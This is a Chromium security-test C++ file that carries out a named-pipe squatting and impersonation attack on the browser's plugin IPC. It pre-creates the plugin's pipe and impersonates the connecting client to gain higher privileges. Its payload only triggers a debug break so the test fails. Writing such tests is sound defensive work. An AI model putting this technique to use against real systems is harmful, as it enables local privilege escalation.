blob: 181a8afa60fad452a990bad81cd115feed03ac9e [file] [log] [blame]
// Copyright (c) 2006-2008 The Chromium Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
#include <windows.h>
#include <string>
#include <sstream>
#include "chrome/test/security_tests/ipc_security_tests.h"
namespace {
// Debug output messages prefix.
const char kODSMgPrefix[] = "[security] ";
// Format of the Chrome browser pipe for plugins.
const wchar_t kChromePluginPipeFmt[] = L"\\\\.\\pipe\\chrome.%ls.p%d";
// Size for the in/out pipe buffers.
const int kBufferSize = 1024;
// Define the next symbol if you want to have tracing of errors.
#ifdef PIPE_SECURITY_DBG
// Generic debug output function.
void ODSMessageGLE(const char* txt) {
DWORD gle = ::GetLastError();
std::ostringstream oss;
oss << kODSMgPrefix << txt << " 0x" << std::hex << gle;
::OutputDebugStringA(oss.str().c_str());
}
#else
void ODSMessageGLE(const char* txt) {
}
#endif
// Retrieves the renderer pipe name from the command line. Returns true if the
// name was found.
bool PipeNameFromCommandLine(std::wstring* pipe_name) {
std::wstring cl(::GetCommandLineW());
const wchar_t key_name[] = L"--channel";
std::wstring::size_type pos = cl.find(key_name, 0);
if (std::wstring::npos == pos) {
return false;
}
pos = cl.find(L"=", pos);
if (std::wstring::npos == pos) {
return false;
}
++pos;
size_t dst = cl.length() - pos;
if (dst <4) {
return false;
}
for (; dst != 0; --dst) {
if (!isspace(cl[pos])) {
break;
}
++pos;
}
if (0 == dst) {
return false;
}
std::wstring::size_type pos2 = pos;
for (; dst != 0; --dst) {
if (isspace(cl[pos2])) {
break;
}
++pos2;
}
*pipe_name = cl.substr(pos, pos2);
return true;
}
// Extracts the browser process id and the channel id given the renderer
// pipe name.
bool InfoFromPipeName(const std::wstring& pipe_name, std::wstring* parent_id,
std::wstring* channel_id) {
std::wstring::size_type pos = pipe_name.find(L".", 0);
if (std::wstring::npos == pos) {
return false;
}
*parent_id = pipe_name.substr(0, pos);
*channel_id = pipe_name.substr(pos + 1);
return true;
}
// Creates a server pipe, in byte mode.
HANDLE MakeServerPipeBase(const wchar_t* pipe_name) {
HANDLE pipe = ::CreateNamedPipeW(pipe_name, PIPE_ACCESS_DUPLEX,
PIPE_TYPE_BYTE | PIPE_READMODE_BYTE, 3,
kBufferSize, kBufferSize, 5000, NULL);
if (INVALID_HANDLE_VALUE == pipe) {
ODSMessageGLE("pipe creation failed");
}
return pipe;
}
// Creates a chrome plugin server pipe.
HANDLE MakeServerPluginPipe(const std::wstring& prefix, int channel) {
wchar_t pipe_name[MAX_PATH];
swprintf_s(pipe_name, kChromePluginPipeFmt, prefix.c_str(), channel);
return MakeServerPipeBase(pipe_name);
}
struct Context {
HANDLE pipe;
Context(HANDLE arg_pipe) : pipe(arg_pipe) {
}
};
// This function is called from a thread that has a security context that is
// higher than the renderer security context. This can be the plugin security
// context or the browser security context.
void DoEvilThings(Context* context) {
// To make the test fail we simply trigger a breakpoint in the renderer.
::DisconnectNamedPipe(context->pipe);
__debugbreak();
}
// This is a pipe server thread routine.
DWORD WINAPI PipeServerProc(void* thread_param) {
if (NULL == thread_param) {
return 0;
}
Context* context = static_cast<Context*>(thread_param);
HANDLE server_pipe = context->pipe;
char buffer[4];
DWORD bytes_read = 0;
for (;;) {
// The next call blocks until a connection is made.
if (!::ConnectNamedPipe(server_pipe, NULL)) {
if (GetLastError() != ERROR_PIPE_CONNECTED) {
ODSMessageGLE("== connect named pipe failed ==");
continue;
}
}
// return value of ReadFile is unimportant.
::ReadFile(server_pipe, buffer, 1, &bytes_read, NULL);
if (::ImpersonateNamedPipeClient(server_pipe)) {
ODSMessageGLE("impersonation obtained");
DoEvilThings(context);
break;
} else {
ODSMessageGLE("impersonation failed");
}
::DisconnectNamedPipe(server_pipe);
}
delete context;
return 0;
}
} // namespace
// Implements a pipe impersonation attack resulting on a privilege elevation on
// the chrome pipe-based IPC.
// When a web-page that has a plug-in is loaded, chrome will do the following
// steps:
// 1) Creates a server pipe with name 'chrome.<pid>.p<n>'. Initially n = 1.
// 2) Launches chrome with command line --type=plugin --channel=<pid>.p<n>
// 3) The new (plugin) process connects to the pipe and sends a 'hello'
// message.
// The attack creates another server pipe with the same name before step one
// so when the plugin connects it connects to the renderer instead. Once the
// connection is acepted and at least a byte is read from the pipe, the
// renderer can impersonate the plugin process which has a more relaxed
// security context (privilege elevation).
//
// Note that the attack can also be peformed after step 1. In this case we need
// another thread which used to connect to the existing server pipe so the
// plugin does not connect to chrome but to our pipe.
bool PipeImpersonationAttack() {
std::wstring pipe_name;
if (!PipeNameFromCommandLine(&pipe_name)) {
return false;
}
std::wstring parent_id;
std::wstring channel_id;
if (!InfoFromPipeName(pipe_name, &parent_id, &channel_id)) {
return false;
}
HANDLE plugin_pipe = MakeServerPluginPipe(parent_id, 1);
if (INVALID_HANDLE_VALUE == plugin_pipe) {
return true;
}
HANDLE thread = ::CreateThread(NULL, 0, PipeServerProc,
new Context(plugin_pipe), 0, NULL);
if (NULL == thread) {
return false;
}
::CloseHandle(thread);
return true;
}